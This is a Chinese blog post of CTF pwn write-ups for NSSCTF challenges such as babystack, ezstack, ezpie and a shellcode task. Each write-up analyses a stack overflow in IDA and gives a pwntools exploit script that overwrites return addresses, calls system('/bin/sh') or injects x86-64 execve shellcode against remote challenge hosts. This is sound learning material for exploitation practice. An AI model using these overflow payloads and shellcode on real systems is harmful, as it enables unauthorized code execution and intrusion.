pwn自主学习

gift_pwn

先nc链接一下,发现什么命令都没有用,下载附件放到kali里面file查看一下

再checksec一下看看是否有保护

然后放到IDA中查看,发现了栈溢出,定义了16,读取了0x64ull=100

发现bin/sh,查看一下

找到溢出,后门编写exp

运行后得到flag

[NISACTF 2022]ReorPwn?

这题有点神,直接就不是pwn,直接放到IDA查看

这段代码的大体意思就是将v4的内容进行倒序,我们想要获取flag只需要nc链接上后,直接通过rce命令查看flag就可以

[BJDCTF 2020]babystack

先将附件放到kali里checksec一下,查看一下附件

发现无保护后,使用IDA打开查看main函数的伪代码

发现在第16行和18行造成了栈溢出,询问用户名,但没有判断名长度,而第三行却定义了缓冲区的大小为12

这里存在后门,极为明显

根据分析编写exp

from pwn import *


def attack4(url, port):
    p = remote(url, port)
    p.sendlineafter('your name:', '100')
    # 写法一:sendlineafter的好处在于可以定位,在想要的位置输入
    # p.sendline('100') 
    #写法二:本题即使不定位也可以输入,但是注意不能直接发送整数
    payload = b'a'*(0x10+8)*1 + p64(0x4006E6)
    p.sendline(payload)
    p.interactive()


if __name__ == '__main__':
    url = 'node4.anna.nssctf.cn'
    port = 28212
    attack4(url, port)

[BJDCTF 2020]babystack2.0

先用file和checksec查看附件

无保护,使用IDA查看

发现存在栈溢出,在第16行和第18行, 如果用户在第 16 行输入了一个很大的数字(例如 200),read 函数就会忠实地尝试向 buf 中写入 200 个字节的数据。但第三行定义了缓冲区大小只有12

记录backdoor的函数位置

然后查看缓冲区的并计算长度

最后编写exp获取flag

[NISACTF 2022]ezstack

先file和checksec一下

发现没有保护后,使用IDA打开

查看shell出发现溢出,缓冲区buf只有72字节,而写入0x60

通过string查找bin\sh和system的地址

得到后就可以编写exp获取flag

from pwn import *

p = remote('node5.anna.nssctf.cn', 29578)

system_add = 0x08048512
bin_sh_add = 0x0804A024

payload = b'a' * (0x48+4) + p32(system_add) + p32(bin_sh_add)

p.sendline(payload)

p.interactive()

[watevrCTF 2019]Voting Machine 1

先file和checksec一下,看一下是否有保护

没有保护,使用IDA打开保护,查看main函数

发现栈溢出,缓冲区大小只有v4,而gets函数不检查边界,会造成溢出

再通过main函数计算出偏移量,到 return_addr 的距离 = 0x2 + 0x8 = 0xA = 10,查看string时,发现flag.txt

查看其反汇编代码,发现其可以直接读取flag,有了目标后就可以编写exp.py

from pwn import *
io = remote("node5.anna.nssctf.cn",22886)
offset = 0x2 + 8
flag_addr = 0x0000000000400807
payload = b'a'*offset + p64(flag_addr)
io.sendline(payload)
io.interactive()

[HNCTF 2022 Week1]easyoverflow

老样子先查看一下checksec一下

64位无保护,使用IDA打开,查看main函数的伪代码

发现缓冲区大小位44,gets函数存在栈溢出,然后就是如果v5等于非零数的话执行cat flag

然后计算出偏移量,编写exp获取flag

from pwn import *

io = remote("node5.anna.nssctf.cn", 28239)
io.sendline(b'A'*44 + b'\x01\x00\x00\x00')  # 44字节填充 + v5=1
io.interactive()

[NISACTF 2022]ezpie

先checksec一下,看看是否有保护

无保护,使用IDA打开,查看一下main函数

然后再vlun函数出发现栈溢出

后门在shell处,目标是覆盖返回地址到反弹shell

找到main和vlun的地址,编写exp获取flag

# -*- coding: utf-8 -*-
from pwn import *

#p = process("./nss_1")
p = remote('node7.anna.nssctf.cn', 28944)

text = int(p.recvuntil("70")[-10:], 16)

shell_ad = text + abs(0x00000770 - 0x0000080f)

paylaod = cyclic(0x2C) + p32(shell_ad)

p.sendline(paylaod)

p.interactive()

[NSSCTF 2022 Spring Recruit]R3m4ke?

先checksec一下,查看有没有保护

没有保护,使用IDA打开

在main函数处发现栈溢出,缓冲区大小位32,gets函数不检查边界,造成栈溢出

发现backdoor,记录下其地址

然后编写exp获取flag

[GDOUCTF 2023]EASY PWN

先checksec一下,发现存在NX

使用IDA打开查看,存在gets函数,说明存在栈溢出,还有print_flag和check函数

check函数存在gets函数,存在栈溢出,需要覆盖地址返回print_flag,使v5为非零或者直接覆盖

然后编写exp

from pwn import *

io = remote("node5.anna.nssctf.cn", 22304)

# 偏移量 = 0x1F (到 rbp) + 8 (saved_rbp) = 39
offset = 0x1F + 8

# print_flag 地址
print_flag = 0x11D5  # 需要确认完整地址

payload = b'A' * offset + p64(print_flag)

io.sendlineafter(b"Password:", payload)
io.interactive()

但是发现nc链接后直接输入大量字符串就可以直接获取flag

[GDOUCTF 2023]Shellcode

先查看一下机制

使用IDA打查看一下main函数

缓冲区大小为10字节,读取大小为64,存在溢出,查看一下read

read存在于bss段,我们需要覆盖返回地址到 name 中的 shellcode,就是在name中写shellcode,使地址返回到name

编写exp获取flag

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 20425)
code ="mov rbx, 0x68732f6e69622f; push rbx; push rsp; pop rdi; xor esi, esi; xor edx, edx; push 0x3b; pop rax; syscall"
shellcode = asm(code)
io.sendlineafter('Please.\n',shellcode)
ret = 0x000000000040074F
name = 0x00000000006010A0
io.recvuntil("Let's start!\n")

payload = cyclic(0xa + 8) + p64(name) + p64(ret)
io.sendline(payload)
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值